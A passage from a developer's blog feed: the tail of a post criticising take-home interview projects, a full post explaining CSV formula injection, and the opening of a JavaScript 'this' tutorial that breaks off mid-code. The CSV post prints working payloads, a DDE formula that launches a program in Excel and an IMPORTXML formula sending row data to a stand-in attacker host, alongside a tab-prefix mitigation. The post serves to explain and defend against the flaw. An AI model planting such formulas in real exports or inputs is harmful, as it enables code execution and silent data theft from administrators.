&lt;p&gt;So take me for example, I know how to do that, I know all the bits and pieces involved. However, I actually &lt;em&gt;end up doing it&lt;/em&gt; maybe once a year. So in demonstrating my ability (because of course all that stuff is important and I want to demonstrate it properly) I have to expand a significant amount of effort getting caught up on details, implementations, integrations between tools, and what’s changed in every single version of every dev tool since I used it last. Of course someone who has spent a lot of time interviewing recently likely has encountered this exact request before and has a starter templated, committed to memory, and ready to go. Frankly, I feel that a large portion of such a test, checks for things that could far easier be talked through in a few minutes and that aren’t super important to what we actually do on a day-to-day basis.&lt;/p&gt;

&lt;p&gt;What about providing a template then? Well putting together a “starter pack” is nearly impossible in a way that represents what we (at Surge) do. Even within the realm of front-end web development you have a huge variance of tooling. You have webpack, you have jspm, you have native modules, browserify, rollup, rails asset pipeline, webpack dev server+cors, typescript, ember, http/2 preload injection, etc. etc. etc. etc. If we were a product company it &lt;em&gt;might&lt;/em&gt; benefit us to test them on the tooling that we actually use, but Surge is not - we are consulting - there is no telling which of these a developer is experienced in or would need to know. By forcing a stack from a template, you’re throwing a dart as to whom gets a big advantage. That. Sucks.&lt;/p&gt;

&lt;figure style=&quot;float: left; margin: 1em;&quot;&gt;
  &lt;img src=&quot;/img/project-interviews/code-monkeys.jpg&quot; alt=&quot;Code Monkeys&quot; /&gt;
&lt;/figure&gt;

&lt;p&gt;And, since we’re not &lt;em&gt;only&lt;/em&gt; a web development consultancy, how do you even do this in a way that is fair to people who are &lt;em&gt;not&lt;/em&gt; primarily web developers (think Android, iOS, hardware hackers, or DevOps)? Do each of those get a template as well? Several templates to choose from? Who is going to put that together!?&lt;/p&gt;

&lt;p&gt;Which gets to my next point; the time investment to review something like this properly is not trivial. Reviewing a few hundred lines of PR code review can easily take an hour of my time. Here you’re talking about what is likely to be a thousand lines in a new project and a less structured format.&lt;/p&gt;

&lt;p&gt;More importantly, &lt;em&gt;the immediate result of a code review should not be a judgement but a conversation&lt;/em&gt;. So while I generally disagree with the choice of - let’s say - Entity Framework Database-First, I don’t just thumbs down the choice immediately; I provide the developer a opportunity to justify the decision. Sure maybe they haven’t considered the alternatives and should pick something else, but maybe they have and the reasoning is solid. Where should these conversations go in a take-home test process? We would be pushing all of these conversations into the interview itself taking up time there as well. At Sure we usually manage to keep interviews between 1.5 and 2 hours. My experience, if you don’t include irrelevant fluff, that’s all you really need.&lt;/p&gt;

&lt;p&gt;And of course the time required to actually create even a simple project - especially when you don’t have a template to go from - is serious. The shortest time frames I’ve seen given for something like this is 4 hours and it was laughably insufficient. I would want two days at least - that’s going to filter out lots of senior developers with better options right then and there.&lt;/p&gt;

&lt;p&gt;Finally, I’m not the first person to have the thoughts above - there’s been a movement in the community for a few years now to resist exactly this sort of thing. In fact we occasionally have interviewees balk at the mere mention of a coding exercise (because we &lt;em&gt;do&lt;/em&gt; do a simple live-coding one during the interview itself). I then explain that I understand their concerns and that what we do is sensitive to the issue while still making sure they can actually write thought-through code. Seeing that we understand the pitfalls pretty much always calms candidates and the interview continues. If we were to start doing take-home projects, I think we’d have a lot more than this small group balking, I think that we would drop our candidate pool to a fraction of its size.&lt;/p&gt;

&lt;p&gt;Its not that I think this format is never a good idea - if you’re a product company which needs to filter through hundreds of resumes for a couple positions, I can see how it would work. If you need to hire a jr dev out of college, don’t care about their time, and need some sort of filter, then go for it. But I don’t think its always a good idea. Not by a long shot.&lt;/p&gt;

&lt;p&gt;Sure, sometimes project tests are well thought through, sometimes they are relevant, and sometimes they are proven to work. Most of the time? It’s laziness by the interviewer. They do not have a process, don’t know how to invent one, and figure that judging code is the best way to find &lt;em&gt;the one&lt;/em&gt;. It of course is not, writing code is only a small part of the job, and such a test can show a real disregard for your applicants abilities.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;As for what you &lt;em&gt;should&lt;/em&gt; do, well I have &lt;a href=&quot;https://docs.google.com/presentation/d/1AQE0cl3pUev2j2z3PN1aZI8fYOSFlD5MQkspZkJEfCs/edit?usp=sharing&quot;&gt;spoken at length about it in the past&lt;/a&gt; and can write about it more in the future. But to do a quick summary:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Yes, do a quick phone screen to set expectations. Then talk to your candidates.&lt;/li&gt;
  &lt;li&gt;Have people who frequently talk to developers socially (ie attend meetups, conferences, chatter on Slack) do the interview. This is not a task for the technical lead who spends all evening cloistered in his office. Shocking how many people don’t realize that talking tech is a skill not just any techinical person commands.&lt;/li&gt;
  &lt;li&gt;Focus on getting at strong opinions and experiences. When asking technical questions, I like to focus on things that people who have been doing this stuff a while should have encountered, sought deeper understanding of, and have thoughts on.&lt;/li&gt;
  &lt;li&gt;Remember that people are just human and they’ll get exhausted, pepper in easy questions, so that they can catch their breath.&lt;/li&gt;
  &lt;li&gt;Consider that for top talent, they are interviewing you as much as you are interviewing them. Take the opportunity to chat nerd with them. Show them that you’re their sort of people.&lt;/li&gt;
  &lt;li&gt;Come up with a metric - almost any sort of metric will do. A recommended scheme is to create several characteristics that lead to success within your organization, rate them 0, 1, or 2 in each, then sum them up.&lt;/li&gt;
  &lt;li&gt;Be honest and transparent about everything.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;My assertion and experience is that such a human-centric process will generate far better results than anything you can get by trying to communicate by code alone.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>The Absurdly Underestimated Dangers of CSV Injection</title>
      <link>http://georgemauer.net/2017/10/07/csv-injection.html</link>
      <pubDate>Sat, 07 Oct 2017 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2017/10/07/csv-injection.html</guid>
      <description>&lt;style&gt;
@media screen and (max-width: 480px) {
  #csv-injection-google-note {
    width: 10em !important;
  }
  h1 {
    word-wrap: break-word;
  }
}
&lt;/style&gt;

&lt;p&gt;I’ve been doing the local usergroup circuit with this lately and have been asked to write it up.&lt;/p&gt;

&lt;p&gt;In some ways this is old news, but in other ways…well, I think few realize how absolutely devastating and omnipresent this vulnerability can be. It is an attack vector available in every application I’ve ever seen that takes user input and allows administrators to bulk export to CSV.&lt;/p&gt;

&lt;p&gt;That is just about every application.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Credit where due, I’ve been pointed to &lt;a href=&quot;https://www.contextis.com/blog/comma-separated-vulnerabilities&quot;&gt;this article from 2014 by an actual security pro which discusses some of these vectors&lt;/a&gt;. &lt;a href=&quot;http://blog.7elements.co.uk/2013/01/cell-injection.html&quot;&gt;And another one&lt;/a&gt;.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;So let’s set the scene - imagine a time or ticket tracking app. Users enter their time (or tickets) but cannot view those of other users. A site administrator then comes along and exports entries to a csv file, opening it up in a spreadsheet application. Pretty standard stuff.&lt;/p&gt;

&lt;h1 id=&quot;attack-vector-1&quot;&gt;Attack Vector 1&lt;/h1&gt;

&lt;p&gt;So we all know csv files. Their defining characteristic is that they are simple. These exports might look like this&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,&quot;Bop, dop, and giglip&quot;, 240
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Simple enough. Nothing dangerous there. Heck the &lt;a href=&quot;https://tools.ietf.org/html/rfc4180&quot;&gt;RFC&lt;/a&gt; even states:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;CSV files contain passive text data that should not pose any risks.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So even by specification, it should all be fine.&lt;/p&gt;

&lt;p&gt;Hey, just for fun let’s try something, let’s modify our CSV file to the following&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,&quot;Bop, dop, and giglip&quot;, 240
2,2017-07-25,Important Client,&quot;=2+5&quot;, 240
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;figure&gt;
  &lt;div style=&quot;display: flex; justify-content: space-between;&quot;&gt;
    &lt;img src=&quot;/img/csv-injection/excel-formula.png&quot; alt=&quot;Formulas evaluate in Excel&quot; style=&quot;max-width: 48% !important; max-height: 157px;&quot; /&gt;
    &lt;img src=&quot;/img/csv-injection/gsheets-formula.png&quot; alt=&quot;Formulas evaluate in Google Sheets&quot; style=&quot;max-width: 48% !important; max-height: 157px;&quot; /&gt;
  &lt;/div&gt;
  &lt;figcaption style=&quot;text-align: center&quot;&gt;In Excel (left) and imported into Google Sheets (right)&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Huh…well that’s odd. Even though that cell was quoted it seems to have been interpreted as a formula just because the first character was an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=&lt;/code&gt; symbol. In fact - in Excel at least - any of the symbols &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+&lt;/code&gt;, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@&lt;/code&gt; will trigger this behavior causing lots of fun times for adminstrators whose data just doesn’t seem to format correctly (this is actually what brought my attention first to the issue). That’s strange, but not downright &lt;strong&gt;dangerous&lt;/strong&gt;, right?&lt;/p&gt;

&lt;p&gt;Well hold on, a formula &lt;em&gt;is&lt;/em&gt; code that executes. So a user can cause code - even if its only formula code - to execute on an administrator’s machine in &lt;em&gt;their user’s&lt;/em&gt; security context.&lt;/p&gt;

&lt;p&gt;What if we change our csv file to this then? (Note the Description column on the last line)&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,&quot;Bop, dop, and giglip&quot;, 240
2,2017-07-25,Important Client,&quot;=2+5+cmd|&apos; /C calc&apos;!A0&quot;, 240
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What’s going to happen when we open up in Excel?&lt;/p&gt;

&lt;figure style=&quot;float: left; width: 200px;&quot;&gt;
  &lt;img src=&quot;/img/csv-injection/calc.png&quot; alt=&quot;calc will open!&quot; /&gt;
  &lt;figcaption&gt;Holy Crap!&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Yup, that’s right, the system calculator opens right on up.&lt;/p&gt;

&lt;p&gt;Now to be fair, there &lt;em&gt;is absolutely a warning&lt;/em&gt;. It’s just that the warning is a big block of text, which nobody is going to read. And even if they do, it explicitly recommends:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Only click yes if you trust the source of this workbook&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And you know what? This an export from an application that &lt;em&gt;they&lt;/em&gt; are the administrator of. Of course they trust the source!&lt;/p&gt;

&lt;p&gt;Are they a technically savvy user? Then it is even worse. They &lt;em&gt;know&lt;/em&gt; the CSV format is just text data, there can’t possibly be anything harmful in there. Guaranteed.&lt;/p&gt;

&lt;p&gt;And just like that, the attacker has free reign to download a keylogger, install things, and overall remotely execute code not merely on any other person’s computer, but on that of someone guaranteed to have access to all user’s data; for example a manager or a company adminstrator. I wonder what other sort of files they might have lying around?&lt;/p&gt;

&lt;div style=&quot;clear: both&quot;&gt;&lt;/div&gt;

&lt;h1 id=&quot;attack-vector-2&quot;&gt;Attack Vector 2&lt;/h1&gt;

&lt;p&gt;Ok, the above is cute and all, but it is after all a (little) &lt;a href=&quot;https://www.owasp.org/index.php/CSV_Excel_Macro_Injection&quot;&gt;known vulnerability&lt;/a&gt;. As a security professional, you might make sure to warn all your administrators to be extra careful with Excel and maybe even consider using Google Sheets instead. After all, Sheets can’t be affected by macros, can it?&lt;/p&gt;

&lt;p&gt;That is indeed correct. So let’s pull back on our “run anything we want” ambitions and instead focus on merely stealing data. After all, the premise here is that the attacker is an ordinary user who can access only what they themselves input in the system. An Admin has elevated rights and can see everyone’s data, can we compromise this somehow?&lt;/p&gt;

&lt;p&gt;Well recall that while we cannot run macros in Google Sheets, we &lt;em&gt;can&lt;/em&gt; absolutely run formulas. And formulas don’t have to be limited to simple arithmetic. In fact, are there any Google Sheets commands available in formulas that can send data elsewhere? Why yes, there seem to be quite a few. But lets take a look at &lt;a href=&quot;https://support.google.com/docs/answer/3093342?hl=en&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IMPORTXML&lt;/code&gt;&lt;/a&gt; in particular.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;IMPORTXML(url, xpath_query)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This will, when it runs, preform an HTTP GET request to the url, then attempt to parse and insert returned data in our spreadsheet. Starting to see it yet?&lt;/p&gt;

&lt;p&gt;Well what if our csv file contains:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,&quot;Bop, dop, and giglip&quot;, 240
2,2017-07-25,Important Client,&quot;=IMPORTXML(CONCAT(&quot;&quot;http://some-server-with-log.evil?v=&quot;&quot;, CONCATENATE(A2:E2)), &quot;&quot;//a&quot;&quot;)&quot;,240
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The attacker starts the cell with their trusty &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=&lt;/code&gt; symbol prefix and then points &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IMPORTXML&lt;/code&gt; to a server they control, appending as a querystring of spreadsheet data. Now they can open up their server log and &lt;strong&gt;bam&lt;/strong&gt;! Data that isn’t theirs. &lt;a href=&quot;https://www.requestbin.com/&quot;&gt;Try it yourself with a Requestbin&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The ultra sinister thing here? No warnings, no popups, no reason to think that anything is amiss. The attacker just enters a similarly formatted time/issue/whatever entry, eventually an administrator attempts to view a CSV export and all that limited-access data is immediately, and queitly sent away.&lt;/p&gt;

&lt;p&gt;But wait, &lt;strong&gt;there’s more&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This formula is running in the administrator’s browser under &lt;em&gt;their&lt;/em&gt; user account and security context. And this is Google Sheets - Sheets are not limited to just their own data, in fact they can pull in data from &lt;a href=&quot;https://support.google.com/docs/answer/3093340&quot;&gt;&lt;em&gt;other&lt;/em&gt; spreadsheets&lt;/a&gt; that the user has access to. All that an attacker has to know is the other sheet’s id. That information isn’t usually considered secret; it appears in the spreadsheet urls, and will often be accidentally emailed, or posted in intra-company documentation, relying on Google’s security to ensure only authorized users access that data.&lt;/p&gt;

&lt;p&gt;So hey, it’s not &lt;em&gt;just&lt;/em&gt; your issue/time sheet/whatever data that’s getting exfiltrated. Keep client lists or wage info in a separate spreadsheet that your admin has access to? That info might be getting sucked up as well! All silently, and without anyone knowing anything about it. Yikes!&lt;/p&gt;

&lt;p&gt;Of course a similar trick works perfectly well in Excel. In fact, the ability for Excel to act as a beacon in this manner &lt;a href=&quot;https://www.thedailybeast.com/this-is-how-cops-trick-dark-web-drug-dealers-into-unmasking-themselves&quot;&gt;has already been exploited by police to track criminals&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;But it doesn’t have to be.&lt;/p&gt;

&lt;p&gt;I’ve shown this to various security researchers who’ve pointed out all sorts of nasty uses. For example a criminal who plants messages in their own communications that would beacon a server that they control. That way, if a reseracher working on a secret warrant is to view their communication in a spreadsheet, a beacon goes out and the criminal has a canary effectively tipping them off that someone is snooping.&lt;/p&gt;

&lt;p&gt;Not ideal.&lt;/p&gt;

&lt;h1 id=&quot;prevention&quot;&gt;Prevention&lt;/h1&gt;

&lt;p&gt;So who’s fault is all of this anyways?&lt;/p&gt;

&lt;p&gt;Well it’s not the CSV format’s. The format itself couldn’t be more clear that automatically executing anything that “looks like a formula” is not an intended usage. The bug therefore lies in popular Spreadsheet programs for doing the exact wrong thing. Of course Google Sheets must maintain feature parity with Excel, and Excel must support millions of complex spreadsheets already in existance. Also - I’m not going to research this but - even odds that Excel behavior came from something ancient like Lotus 1-2-3. Getting all spreadsheet programs to change this behavior at this point is a pretty big mountain to conquer. I suppose that it’s everyone else that must change.&lt;/p&gt;

&lt;aside style=&quot;float: right; width: 20em; padding: 1em;&quot; id=&quot;csv-injection-google-note&quot;&gt;
  &lt;p&gt;
    I did report this to Google as a vulnerability in their Sheets product. They agreed to it, but claimed to already be aware. While I&apos;m sure they understand it is a vulnerability, I got the distinct impression that they had not really pondered how badly this could be abused in practice. Google Sheets should at least issue a warning when a CSV import is about to preform an external request.
  &lt;/p&gt;
&lt;/aside&gt;

&lt;p&gt;But putting it on application developers is not really practical either. After all, There is no reason for your average developer creating an export feature in a simple busineess application to so much as suspect the issue. In fact, they can read the darn RFC and &lt;em&gt;still&lt;/em&gt; not have any clue.&lt;/p&gt;

&lt;p&gt;And how do you prevent this anyways?&lt;/p&gt;

&lt;p&gt;Well, despite plentiful advice on StackOverflow and elsewhere, I’ve found only one (undocumented) thing that works with any sort of reliability:&lt;/p&gt;

&lt;p&gt;For any cell that begins with one of the formula triggering characters &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+&lt;/code&gt;, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@&lt;/code&gt;, you should directly prefix it with a tab character. Note that if there are quotes, this character goes &lt;em&gt;inside of the quotes&lt;/em&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,&quot;Bop, dop, and giglip&quot;, 240
2,2017-07-25,Important Client,&quot;	=2+5&quot;, 240
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It’s bizarre, but it works, and the tab character doesn’t show up visually on Excel, or Google Sheets. So do that I guess?&lt;/p&gt;

&lt;p&gt;Unfortunately that’s not the end of the story. The character might not show up, but it is still there. A quick string length check with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=LEN(D4)&lt;/code&gt; will confirm that. Therefore, it is only an acceptable solution so long as that cell value is only viewed visually and not then read out of the file later by a program. Further, inserting this character will lead to odd inconsistencies. The csv format is used for interchange &lt;strong&gt;between applications&lt;/strong&gt;. Meaning that an escaped cell exported from one application will import into another with the excape character as a part of the data.&lt;/p&gt;

&lt;p&gt;The nasty end result is that when generating the csv export you &lt;strong&gt;must know how the export is to be used&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;If it is to be used in a spreadsheet application by a user to calculate things visually, you should escape things with a tab. This is actually even more important since you wouldn’t want the string “-2+3” in a programming language appearing as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt; when exported to a spreadsheet.&lt;/li&gt;
  &lt;li&gt;If it is to be used as an interchange format then do not escape anything.&lt;/li&gt;
  &lt;li&gt;If you do not know or if it is to be used in a spreadsheet application or then later that spreadsheet will be used as an import source for software, give up, swear off the world, get yourself a cabin with the woods and maybe try being friends with squirrels for a while. (Alternately, use Excel but &lt;em&gt;always&lt;/em&gt; disconnect from the network and follow all security prompts while doing any work) (Edit: That probably won’t work 100% either since someone can still use a macro to overwrite well known files with their own binary. Shit.).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It’s a nightmare of a scenario, it’s sinister, damaging, and with no clear solution. Its also something that should be far far better known than it currently is.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>On `this` in Javascript</title>
      <link>http://georgemauer.net/2017/08/03/on-this-in-javascript.html</link>
      <pubDate>Thu, 03 Aug 2017 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2017/08/03/on-this-in-javascript.html</guid>
      <description>&lt;p&gt;Nobody listens to me.&lt;/p&gt;

&lt;p&gt;I’ve been saying for years that the constructor pattern, any use of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new&lt;/code&gt; keyword or function constructors in Javascript should be considered extremely advanced and not generally worth the rise in complexity in your code. I’ve been telling people about simple objects, and avoiding the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; keyword. I’ve been trying to spread that gospel far and wide. But Javascript went ahead anyways and introduced the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;class&lt;/code&gt; keyword, ReactJs compounds their jsx mistake by recommending inheritance-based component syntax, and I keep helping dozens upon dozens of beginners fix their broken code by explaining patiently the correct incantation of symbols that is needed to get their functions to bind properly when really they just needed functions, objects, and variables.&lt;/p&gt;

&lt;p&gt;Nobody listens to me.&lt;/p&gt;

&lt;p&gt;So lets just go ahead and reset. I’ll write this up once and for all, people can read it, and if there’s any questions…well hell, I’m in 10 different Slacks and a bunch of IRCs, I’m not exactly hard to track down.&lt;/p&gt;

&lt;h1 id=&quot;lets-understand-the-this-keyword&quot;&gt;Let’s understand the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; keyword&lt;/h1&gt;

&lt;p&gt;This is actually a more narrow subject than the whole discussion on constructors and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new&lt;/code&gt;, but the latter is predicated on it, so lets start here.&lt;/p&gt;

&lt;p&gt;Burn this into your brain: In javascript, &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; is just a function parameter that you don’t get to name&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Its a mind-warp so let me try and guide you through it.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;talking-regular-functions&quot;&gt;Talking regular &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;functions&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;Lets take the time machine back to 2013 when arrow functions were just a coffeescript thing and the only way we had of creating a function in javascript is with the gross long-form &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;function&lt;/code&gt; keyword.&lt;/p&gt;

&lt;p&gt;Now lets say we have a function declared as so&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sayHi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fromPerson&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;toName&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fromPerson&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; says hi to &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;toName&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can invoke that like this&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;me&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;George&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;sayHi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;me&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Donna&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// logs &quot;George says hi to Donna&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;many know that we can also do&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;sayHi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;me&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Donna&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// also logs &quot;George says hi to Donna&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In fact, in many ways, the first form is just shorthand for the second. So lets simplify things. &lt;strong&gt;For the sake of conversation, let’s assume all functions are invoked with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.call()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;how-call-works&quot;&gt;How &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.call()&lt;/code&gt; works&lt;/h3&gt;

&lt;p&gt;Ok, then, if we’re getting so specific, then let’s take the time to understand things fully. What is with that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;null&lt;/code&gt;? Why are we passing a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;null&lt;/code&gt; argument? if argument 2 binds to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fromPerson&lt;/code&gt; parameter, and argument 3 binds to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;toName&lt;/code&gt; parameter, what on earth does argument 1 bind to?&lt;/p&gt;

&lt;p&gt;Well it turns out, there’s another “secret” parameter inside your function. We all get how foreshadowing works: It’s named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sayHi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fromPerson&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;toName&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
